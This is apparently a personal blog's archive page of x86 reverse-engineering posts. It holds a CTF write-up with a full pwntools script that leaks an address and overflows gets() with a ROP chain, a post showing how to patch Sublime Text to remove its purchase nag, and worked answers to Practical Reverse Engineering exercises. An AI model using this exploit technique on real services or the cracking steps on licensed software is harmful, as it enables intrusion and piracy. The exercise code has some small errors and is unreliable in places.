Showing posts with label x86. Show all posts
Showing posts with label x86. Show all posts

Sunday, November 6, 2016

Hack the Vote CTF "IRS" Solution

RPISEC ran a capture the flag called Hack the Vote 2016 that was themed after the election. In the competition was the "IRS" challenge by pigeon.

IRS challenge clue:

Good day fellow Americans. In the interest of making filing your tax returns as easy and painless as possible, we've created this nifty lil' program to better serve you! Simply enter your name and file away! And don't you worry, everyone's file is password protected ;)

We get a pwnable x86 ELF Linux binary with non-executable stack. There's also details for a server to ncat to to exploit it.

The program contains about 10 functions that are relatively straightforward about what they do just going off the strings. Exploring the program, there is a blatant address leak when there is an attempt to create more than 5 total users in the system.

This %p is given to puts(). It dereferences to a pointer address that is the start of an array of structs which hold IRS tax return data. Here is the initialization code for Trump's struct:

Note that Trump's password is "not_the_flag" here, but on the server it will be the flag.

Preceding Trump's struct construction is a call to malloc() with 108 bytes, and throughout the program we only see 4 distinct fields. So the completed struct most likely is:

struct IRS_Data
{
    char name[50];
    char pass[50];
    int32_t income;
    int32_t deductibles;
};

In a function which I named edit_tax_return(), there is a call to gets(). This is a highly vulnerable C function that writes to a buffer from stdin with no constraints on length, and thus should probably never be used.

The exploitation process can be pretty simple if you take advantage of other functions present in the binary.

  1. Create enough users to leak the user array pointer
  2. Overflow the gets() in edit_tax_return() with a ROP chain
  3. ROP #1 calls view_tax_return() with the leaked pointer and index 0 (a.k.a. Trump)
  4. ROP #2 cleanly returns back to the start of main()
#!/usr/bin/env python2
from pwn import *

#r = remote("irs.pwn.republican", 4127)
r = process('./irs.4ded.3360.elf')

r.send("1\n"*21)                # create a bunch of fake users
r.recvuntil("0x")               # get the leaked %p address

database_addr = int(r.recvline().strip(), 16)
log.success("Got leaked address %08x" % database_addr)

r.send("3\n"+"1\n"*4)           # edit a known user record

overflow = "A"*25
overflow += p32(0x0804892C)     # print_tax_return(pDB, i)
overflow += p32(0x08048a39)     # main(void), safe return
overflow += p32(database_addr)  # pDB
overflow += p32(0x00000000)     # i

r.send(overflow + "\n")         # 08048911    call    gets

r.recvuntil("Password: ")       # print_tax_return() Trump password

flag = r.recvline().split(" ")[0]
log.success(flag)

Thursday, September 8, 2016

Removing Sublime Text Nag Window

I contemplated releasing this blog post earlier, and now that everyone has moved on from Sublime Text to Atom there's really no reason not to push it out. This is posted purely for educational purposes.

Everyone who has used the free version of Sublime Text knows that when you go to save a file, it will randomly show a popup asking you to buy the software. This is known as a "nag window".



The first time I saw it, I knew it had to be cracked. Just pop open the sublime_text.exe file in IDA Pro and search for the string.



We find a match, and IDA tells us where it is cross referenced.



We open the function that uses these .rdata bytes and see that it checks some globals, and performs a call to rand(). If any of the checks fail it will display the popup. The function itself is only about 20 lines of pretty basic assembly but we decompile it anyway because the screenshot is cooler that way.



We open the hex view to see what the hex code for the start of the function looks like.



Next we open sublime_text.exe in Hex Workshop and search for the hex string that matches the assembly.



Finally, we patch the beginning of the function with the assembly opcode c3, which will cause the function to immediately return.



After saving, there will be no more nag window. As an exercise to the reader, try to make Sublime think you have a registered copy.

Wednesday, January 7, 2015

Practical Reverse Engineering p. 36 #10

Question number 10 on page 36 of Practical Reverse Engineering is as follows:

If the current privilege level is encoded in CS, which is modifiable by user-mode code, why can’t user-mode code modify CS to change CPL?

The Code Segment (CS) contains a 2-bit value known as the Code Privilege Level (CPL), which is a cached value of the current Ring mode.

The reason user-mode cannot directly modify CS:CPL is the same reason it cannot directly access the instruction pointer (CS:EIP). It's true that CS:EIP is changed with CALL, RET, and JMP instructions; but it cannot be modified by directly loading a value to the register. The same is true for CS:CPL.

To transition to a higher privilege, an instruction like SYSCALL or INT should be used. These will trigger handlers running in kernel-mode.  To modify the CS:CPL to user-mode, an instruction of the IRET family should be used.

Ring 0 code has more privileges to modify the CS segment than Ring 3 code does. However, modifying CS in both x86 and x64 can cause system instability, and should only be performed in real mode.

Practical Reverse Engineering p. 35 #9

Question number 9 on page 35 of Practical Reverse Engineering is as follows:

Sample L. Explain what function sub_1000CEA0 does and then decompile it back to C.

Here is the disassembly of the function:

sub_1000CEA0:
    push    ebp
    mov     ebp, esp
    push    edi
    mov     edi, [ebp+8]
    xor     eax, eax
    or      ecx, 0FFFFFFFFh
    repne scasb
    add     ecx, 1
    neg     ecx
    sub     edi, 1
    mov     al, [ebp+0Ch]
    std
    repne scasb
    add     edi, 1
    cmp     [edi], al
    jz      short loc_1000CEC7
    xor     eax, eax
    jmp     short loc_1000CEC9 

loc_1000CEC7:                          
    mov     eax, edi

loc_1000CEC9:                       
    cld
    pop     edi
    leave
    retn

This function calculates the string length, then works backwards to return a pointer to the last instance of a character in the string.

char *sub_1000CEA0(char *str, char ch)
{
    /* mov edi, [ebp+8] */
    /* xor eax, eax
    /* or ecx, 0FFFFFFFFh */
    /* repne scasb */
    /* add ecx, 1 */
    /* neg ecx */
    size_t len = 1;
    while (*str)
    {
        ++str;
        ++len;
    }

    /* sub edi, 1 */
    /* mov al, [ebp+0Ch] */
    /* std */
    /* repne scasb */
    /* add edi, 1 */ 
    while (len)
    {
        /* cmp [edi], al */
        if (*str == ch)
            return str;
        --len;
        --str;
    }

    return 0;
}

This is an implementation of the strrchr() function, which is defined as follows:

char *strrchr(char *str, int character);

Practical Reverse Engineering p. 35 #8

Question number 8 on page 35 of Practical Reverse Engineering is as follows:

Sample H. Decompile sub_11732 and explain the most likely programming construct used in the original code.

The function's disassembly looks like the following:

sub_1172E:
    push    esi
    mov     esi, [esp+8]
    dec     esi
    jz      short loc_1175F
    dec     esi
    jz      short loc_11755
    dec     esi
    jz      short loc_1174B
    sub     esi, 9
    jnz     short loc_1176B
    mov     esi, [eax+8]
    shr     esi, 1
    add     eax, 0Ch
    jmp     short loc_11767 

loc_1174B:                             
    mov     esi, [eax+3Ch]
    shr     esi, 1
    add     eax, 5Eh
    jmp     short loc_11767 

loc_11755:                            
    mov     esi, [eax+3Ch]
    shr     esi, 1
    add     eax, 44h
    jmp     short loc_11767 

loc_1175F:                          
    mov     esi, [eax+3Ch]
    shr     esi, 1
    add     eax, 40h

loc_11767:                         
                        
    mov     [ecx], esi
    mov     [edx], eax

loc_1176B:                              
    pop     esi
    retn    4 

The function contains a switch. The calling convention is odd for x86 as there are three variables passed in a register, which means it was probably compiled as a static unit. There is a lot of repeated code, which means either the programmer or the compiler couldn't optimize the size in a logical way. Here is a more natural way to write the function:

static struct *sub_1172E(struct *arg1, struct *arg2, 
                         struct *arg3, int unknown_enum)
{
    DWORD dwUnknown;

    /* mov esi, [esp+8] */
    switch (unknown_enum)
    {
        case 1:                 /* dec esi */
            arg1 += 64;         /* add eax, 40h */
        break;

        case 2:                 /* dec esi */
            arg1 += 68          /* add eax, 44h */
        break;

        case 3:                 /* dec esi */
            arg1 += 94;         /* add eax, 5Eh */
        break;

        case 12:                /* sub esi, 9 */
            arg1 += 12;         /* add eax, 0Ch */
        break;

        default:
            return arg1;
    }
     
    dwUnknown = (unknown_enum == 12) ? 
            arg1->Unknown0x8 :  /* mov esi, [eax+8] */
            arg1->Unknown0x3c;  /* mov esi, [eax+3Ch] */

    dwUnknown /= 2;             /* shr esi, 1 */

    *arg2 = dwUnknown;          /* mov [ecx], esi */
    *arg3 = arg1;               /* mov [edx], eax */

    return arg1;
}

We can infer some of the struct in the first argument by where offsets were accessed:

struct arg1 {
    BYTE Unknown0x0[0x8];   /* 0x0 */
    DWORD bigTwiceVal;      /* 0x8 */
    BYTE Unknown0xc[0x30];  /* 0xc */
    DWORD smallTwiceVal;    /* 0x3c */
};

Tuesday, January 6, 2015

Practical Reverse Engineering p. 35 #7

Question number 7 on page 35 of Practical Reverse Engineering is as follows:

Sample H. The function sub_10BB6 has a loop searching for something. First recover the function prototype and then infer the types based on the context. Hint: You should probably have a copy of the PE specification nearby.

Here is an image that details the PE file format, which is useful for referencing offsets.


The structs that make up the PE file format are:

typedef struct _IMAGE_DOS_HEADER
{
    WORD e_magic;              /* 0x0 */
    WORD e_cblp;               /* 0x2 */
    WORD e_cp;                 /* 0x4 */
    WORD e_crlc;               /* 0x6 */
    WORD e_cparhdr;            /* 0x8 */
    WORD e_minalloc;           /* 0xa */
    WORD e_maxalloc;           /* 0xc */
    WORD e_ss;                 /* 0xe */
    WORD e_sp;                 /* 0x10 */
    WORD e_csum;               /* 0x12 */
    WORD e_ip;                 /* 0x14 */
    WORD e_cs;                 /* 0x16 */
    WORD e_lfarlc;             /* 0x18 */
    WORD e_ovno;               /* 0x1a */
    WORD e_res[4];             /* 0x1c */
    WORD e_oemid;              /* 0x24 */
    WORD e_oeminfo;            /* 0x26 */
    WORD e_res2[10];           /* 0x28 */
    LONG e_lfanew;             /* 0x3c */
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

typedef struct _IMAGE_NT_HEADERS {
    DWORD                 Signature;         /* 0x0 */
    union
    {
        IMAGE_FILE_HEADER     FileHeader;    /* 0x4 */
        struct
        {
            WORD  Machine;                   /* 0x4 */
            WORD  NumberOfSections;          /* 0x6 */
            DWORD TimeDateStamp;             /* 0x8 */
            DWORD PointerToSymbolTable;      /* 0xc */
            DWORD NumberOfSymbols;           /* 0x10 */
            WORD  SizeOfOptionalHeader;      /* 0x14 */
            WORD  Characteristics;           /* 0x16 */
        }
    }
    IMAGE_OPTIONAL_HEADER OptionalHeader;    /* 0x18 */
} IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS;

Here is the disassembly of the function in Sample H:

sub_10BB2:
    mov     eax, [esp+4]
    push    ebx
    push    esi
    mov     esi, [eax+3Ch]
    add     esi, eax
    movzx   eax, word ptr [esi+14h]
    xor     ebx, ebx
    cmp     [esi+6], bx
    push    edi
    lea     edi, [eax+esi+18h]
    jbe     short loc_10BEB

loc_10BCE:                             
    push    [esp+0Ch+8]     ; _DWORD
    push    edi             ; _DWORD
    call    ds:dword_169A4
    test    eax, eax
    pop     ecx
    pop     ecx
    jz      short loc_10BF3
    movzx   eax, word ptr [esi+6]
    add     edi, 28h
    inc     ebx
    cmp     ebx, eax
    jb      short loc_10BCE

loc_10BEB:                              
    xor     eax, eax

loc_10BED:                            
    pop     edi
    pop     esi
    pop     ebx
    retn    8 

loc_10BF3:                             
    mov     eax, edi
    jmp     short loc_10BED

Making the assumption that our first argument is a pointer to the DOS header (from the hint in the question), we can use a little bit of math to calculate the offsets and see everything lines up. The search code could be written in a for loop but I used a while loop for more clarity.

PIMAGE_SECTION_HEADER sub_10BB2(PVOID pPE, PVOID arg2)
{
    PIMAGE_DOS_HEADER pDOS;
    PIMAGE_NT_HEADERS pNT;
    PIMAGE_SECTION_HEADER pSection;
    WORD dwOptHdrSize;
    DWORD dwCurrentSection;

    /* mov eax, [esp+4] */
    pDOS = (PIMAGE_DOS_HEADER) pPE;

    /* mov esi, [eax+3Ch] */
    /* add esi, eax */
    pNT = (pDOS + pDOS->e_lfanew);

    /* movzx eax, word ptr [esi+14h] */
    dwOptHdrSize = pNT->FileHeader.SizeOfOptionalHeader;

    /* xor ebx, ebx */
    dwCurrentSection = 0;

    /* cmp [esi+6], bx */
    if (pNT->NumberOfSections == 0)
        return NULL;

    /* lea edi, [eax+esi+18h] */
    pSection = IMAGE_FIRST_SECTION(pNT);

    while (1)
    {
        /* push [esp+0Ch+8] */
        /* push edi  */
        /* call ds:dword_169A4 */
        /* test eax, eax */
        if (*(BOOL)dword_169A4)(pSection, arg2))
            return pSection;

        /* add edi, 28h */
        ++pSection; /* struct increment */

        /* inc ebx */
        ++dwCurrentSection;

        /* movzx eax, word ptr [esi+6] */
        /* cmp ebx, eax */
        if (dwCurrentSection > pNT->NumberOfSections)
            return NULL;
    }
}

Practical Reverse Engineering p. 35 #6

Question number 6 on page 35 of Practical Reverse Engineering is as follows:

Sample H. The function sub_13846 references several structures whose types are not entirely clear. Your task is to first recover the function prototype and then try to reconstruct the structure fields. After reading Chapter 3, return to this exercise to see if your understanding has changed. (Note: This sample is targeting Windows XP x86.)

The function disassembles to:

sub_13842:
     mov     eax, [ecx+60h]
     push    esi
     mov     esi, [edx+8]
     dec     byte ptr [ecx+23h]
     sub     eax, 24h
     mov     [ecx+60h], eax
     mov     [eax+14h], edx
     movzx   eax, byte ptr [eax]
     push    ecx
     push    edx
     call    dword ptr [esi+eax*4+38h]
     pop     esi
     retn

It's a fastcall convention which has two struct pointer arguments, and the return type is not readily available. There are 3 locals which are stored in registers, two of them pointers within the struct and a char which is an index to a function call table.

PVOID __fastcall sub_13841(
     struct *arg1, struct *arg2)
{
     ULONG_PTR v1, v2;
     CHAR index;

     v1 = arg1->Unkown0x60;    /* mov eax, [ecx+60h] */
     v2 = arg2->Unknown0x8;    /* mov esi, [edx+8] */

     --arg1->Unknown0x23;      /* dec byte ptr [ecx+23h] */

     v1 -= 0x24;               /* sub eax, 24h */

     arg1->Unknown0x60 = v1;   /* mov [ecx+60h], eax */
     v1->Unknown0x14 = arg2;   /* mov [eax+14h], edx */

     index = v1->index;        /* movzx eax, byte ptr [eax] */

     /* call dword ptr [esi+eax*4+38h] */
     return v2->Unknown0x38[index](arg2, arg1);
}

Here is a basic idea so far on the struct meanings:

struct arg1 {
     BYTE Unknown0x0[0x23];   /* 0x0 */
     CHAR decremented;        /* 0x23 */
     BYTE Unknown0x24[0x18];  /* 0x24 */
     union
     {
         struct *v1[9];           /* 0x3c - 0x60 */
         struct
         {
             struct v1_1[0x3c];   /* 0x3c */
             struct v1_2[0x60];   /* 0x60 */
         };
     };
};

struct arg2 {
     BYTE Unknown0x0[0x8];    /* 0x0 */
     struct *v2;              /* 0x8 */    
};

/* size = 0x24 */
struct v1 {
     CHAR index;              /* 0x0 */
     BYTE Unknown0x1[0x13];   /* 0x1 */
     struct *arg2;            /* 0x14 */
     CHAR Unknown0x18[0xc];   /* 0x18 */
};

struct v2 {
     BYTE Unknown0x0[0x38];   /* 0x0 */
     ULONG_PTR function;      /* 0x38 */   
};